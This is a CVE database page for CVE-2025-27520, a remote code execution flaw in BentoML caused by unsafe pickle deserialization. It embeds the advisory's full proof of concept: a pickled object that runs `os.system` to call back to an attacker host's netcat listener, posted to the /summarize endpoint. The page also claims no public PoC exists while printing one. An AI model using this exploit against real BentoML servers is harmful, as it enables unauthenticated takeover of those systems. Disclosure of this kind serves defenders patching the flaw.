BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization
CVSS score
9.8
EPSS probability
%40.6
Risk score
4.0
Published
1 y ago
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Vulnerability description
DayBreach CVE AI Research
CVE-2025-27520 has vendor, distribution, patch and security-source records on file. We can compare them and prepare an explanation linked to the evidence.
### Summary A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server. ### Details It exists an unsafe code segment in `serde.py`: ```Python def deserialize_value(self, payload: Payload) -> t.Any: if "buffer-lengths" not in payload.metadata: return pickle.loads(b"".join(payload.data)) ``` Through data flow analysis, it is confirmed that the `payload `content is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization. ### PoC Environment: - Server host: - IP: 10.98.36.123 - OS: Ubuntu - Attack host: - IP: 10.98.36.121 - OS: Ubuntu 1. Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment. 1.1 Install BentoML (Server host: 10.98.36.123) : ` pip install -U bentoml` 1.2 Define APIs in a `service.py` file (Server host: 10.98.36.123) : ``` Python from __future__ import annotations import bentoml @bentoml.service( resources={"cpu": "4"} ) class Summarization: def __init__(self) -> None: import torch from transformers import pipeline device = "cuda" if torch.cuda.is_available() else "cpu" self.pipeline = pipeline('summarization', device=device) @bentoml.api(batchable=True) def summarize(self, texts: list[str]) -> list[str]: results = self.pipeline(texts) return [item['summary_text'] for item in results] ``` 1.3 Run the service code (Server host: 10.98.36.123) : ``` Bash pip install torch transformers # additional dependencies for local run bentoml serve ``` 2. Start nc listening on the attacking host (Attack host: 10.98.36.121) : `nc -lvvp 1234` 3. Send maliciously crafted request (Attack host: 10.98.36.121) : ``` Python import pickle import os import requests headers = {'Content-Type': 'application/vnd.bentoml+pickle'} class Evil: def __reduce__(self): return(os.system, ('nc 10.98.36.121 1234',)) payload = pickle.dumps(Evil()) requests.post("http://10.98.36.123:3000/summarize", data=payload, headers=headers) ``` 4. Attack success (Attack host: 10.98.36.121) : The server host(10.98.36.123) has connected to the attacker's host(10.98.36.121) listening on port 1234.  ### Impact Remote Code Execution (RCE).
IMPACT: Affected Products and Software
Affected Products
The following products are affected by CVE-2025-27520 vulnerability. Where our threat engine knows the exact affected versions, they are listed below.
| ID | VENDOR | PRODUCT | ACTION |
|---|---|---|---|
| 1 | pypi | bentoml | View |
RED HAT CSAF/VEX: Product Impact Check
SCORING: CVSS from Multiple Sources
CVSS Scores
The Common Vulnerability Scoring System is a standardised framework for assessing the severity of vulnerabilities in software and systems. We collect and display CVSS scores from several sources for each CVE.
| SCORE | VERSION | SEVERITY | VECTOR | SOURCE |
|---|---|---|---|---|
| 9.8 | CVSS 3.x | — | Vector not published | GitHub Advisory |
| 0.0 | CVSS 4.0 | — | Vector not published | GitHub Advisory |
Patch and Remediation Guide
Solution & Remediation Advisory
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Public exploit and active exploitation status
Verified exploit intelligence
No verified public PoC, exploit repository or Metasploit module has been found for this CVE yet.
Weakness Classification and Attack Patterns (CWE & CAPEC)
CWE - Common Weakness Enumeration
While CVE identifies specific instances of vulnerabilities, CWE categorises the common flaws or weaknesses that can lead to vulnerabilities. CVE-2025-27520 is associated with the following CWEs:
Common Attack Pattern Enumeration and Classification (CAPEC)
Common Attack Pattern Enumeration and Classification (CAPEC) stores attack patterns, which are descriptions of the common attributes and approaches employed by adversaries to exploit the CVE-2025-27520 weaknesses.
Attack Vector and Accessibility
Official Sources and Advisories
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